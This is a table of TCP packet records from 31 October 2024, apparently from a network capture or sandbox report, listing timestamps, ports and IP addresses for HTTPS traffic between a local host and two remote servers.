Oct 31, 2024 11:14:39.652993917 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:39.653127909 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:39.653156042 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:39.705542088 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:39.769426107 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:39.769442081 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:39.769476891 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:39.769521952 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:39.769556999 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:39.770210028 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:39.770219088 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:39.770349979 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:39.886656046 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:39.886672020 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:39.886749029 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:39.924057961 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:39.924072027 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:39.924164057 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.004678965 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.004693031 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.004782915 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.041202068 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.041301012 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.120899916 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.120994091 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.158217907 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.158354998 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.245681047 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.245775938 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.250479937 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.250549078 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.714685917 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.714700937 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.714745045 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.714842081 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.714869976 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.714889050 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.714919090 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.715104103 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.715260029 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.715970039 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.716027021 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.716418028 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.716510057 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.719990969 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.720207930 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.720403910 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.720468998 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.721290112 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.721363068 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.721925020 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.721988916 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.743767977 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.743928909 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.824167967 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.824477911 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.824537992 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.824596882 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.861143112 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.861238003 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.941273928 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.941358089 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.941818953 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.941886902 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:40.978260040 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:40.978410006 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.058350086 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.058470964 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.095232964 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.095323086 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.095335960 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.095347881 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.095392942 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.175566912 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.175717115 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.176198959 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.176274061 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.212536097 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.212646961 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.292428970 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.292574883 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.293328047 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.293399096 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.329386950 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.329530001 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.370194912 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.370333910 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.410037994 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.410172939 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.446489096 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.446635008 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.447354078 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.447449923 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.526942015 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.527080059 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.563457012 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.563613892 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.563663006 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.563690901 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.563707113 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.563760042 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.604357004 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.604444981 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.644133091 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.644228935 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.680723906 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.680952072 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.681586027 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.681669950 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.760937929 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.761075020 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.761971951 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.762073994 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.797949076 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.798069954 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.798489094 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.798561096 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.878024101 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.878127098 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.878760099 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.878834009 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.916822910 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.916920900 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.917174101 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.917246103 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.955498934 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.955594063 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:41.995601892 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:41.995696068 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.034094095 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.034176111 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.034241915 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.034302950 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.035223007 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.035296917 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.112488985 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.112602949 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.113188982 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.113260984 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.151297092 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.151427984 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.151760101 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.151829958 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.152326107 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.152394056 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.229892969 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.230041981 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.268466949 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.268533945 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.268573046 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.268642902 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.268690109 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.268713951 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.269263983 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.269328117 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.270071030 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.270142078 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.347850084 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.347939014 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.385292053 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.385379076 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.385904074 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.385973930 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.386368990 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.386440039 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.386667967 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.386728048 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.464118004 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.464205027 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.464742899 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.464809895 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.502646923 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.502732038 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.503227949 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.503287077 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.503819942 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.503879070 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.773667097 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.773682117 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.773720026 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.773808002 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.773834944 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.773861885 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.774568081 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.774601936 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.774609089 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.774621010 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.774624109 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.774657965 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.774661064 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.774667978 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.774705887 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.774907112 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.774976969 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.775744915 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.775810003 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.779750109 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.779845953 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.779848099 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.779864073 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.779896975 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.780766010 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.780870914 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.780886889 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.781016111 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.781068087 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.781075954 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.781558990 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.781619072 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.781630039 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.815489054 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.815576077 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.815587997 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.815777063 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.815849066 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.815857887 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.854098082 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.854214907 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.854239941 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.854460001 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.854468107 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.854512930 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.854527950 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.854729891 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.854737997 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.854785919 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.854794025 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.854825020 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.855324030 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.855365038 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.855386019 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.855397940 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.855422020 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.895755053 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.895848036 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.895873070 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.933195114 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.933211088 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.933259964 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.933295012 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.933315992 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.933346033 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.970733881 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.970752954 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.970797062 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.970844030 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.970871925 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.970894098 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.971141100 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.971148968 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.971172094 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.971194983 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.971205950 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.971230984 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.971548080 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.971554995 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.971582890 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.971600056 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.971612930 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.971633911 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.972250938 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.972259045 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.972307920 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.972321987 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.972820997 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.972829103 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:42.972877026 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:42.972886086 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.018075943 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.050237894 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.050254107 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.050297976 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.050342083 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.050386906 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.050395012 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.050403118 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.050415039 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.050431013 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.050441027 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.050467968 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.087985992 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.087999105 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.088135958 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.088227034 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.088233948 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.088287115 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.088783979 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.088792086 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.088840961 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.088866949 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.089042902 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.089107037 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.089605093 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.089684963 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.167692900 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.167743921 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.167870998 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.167900085 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.167916059 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.169325113 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.206533909 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.206679106 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.206710100 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.206762075 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.206773996 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.206789017 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.206811905 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.206831932 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.207456112 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.207514048 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.207658052 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.207724094 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.247078896 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.247215033 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.284434080 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.284507036 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.323426008 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.323514938 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.323600054 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.323654890 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.324111938 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.324147940 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.324168921 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.324182034 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.324215889 CET	443	49910	173.237.185.182	192.168.2.6
Oct 31, 2024 11:14:43.324227095 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.324250937 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:43.332360983 CET	49910	443	192.168.2.6	173.237.185.182
Oct 31, 2024 11:14:55.273339987 CET	51774	443	192.168.2.6	104.26.13.205
Oct 31, 2024 11:14:55.273425102 CET	443	51774	104.26.13.205	192.168.2.6
Oct 31, 2024 11:14:55.273529053 CET	51774	443	192.168.2.6	104.26.13.205
Oct 31, 2024 11:14:55.276778936 CET	51774	443	192.168.2.6	104.26.13.205
Oct 31, 2024 11:14:55.276803017 CET	443	51774	104.26.13.205	192.168.2.6
Oct 31, 2024 11:14:55.883519888 CET	443	51774	104.26.13.205	192.168.2.6
Oct 31, 2024 11:14:55.883585930 CET	51774	443	192.168.2.6	104.26.13.205
Oct 31, 2024 11:14:55.885221958 CET	51774	443	192.168.2.6	104.26.13.205
Oct 31, 2024 11:14:55.885246992 CET	443	51774	104.26.13.205	192.168.2.6
Oct 31, 2024 11:14:55.885498047 CET	443	51774	104.26.13.205	192.168.2.6
Oct 31, 2024 11:14:55.939873934 CET	51774	443	192.168.2.6	104.26.13.205
Oct 31, 2024 11:14:55.952264071 CET	51774	443	192.168.2.6	104.26.13.205
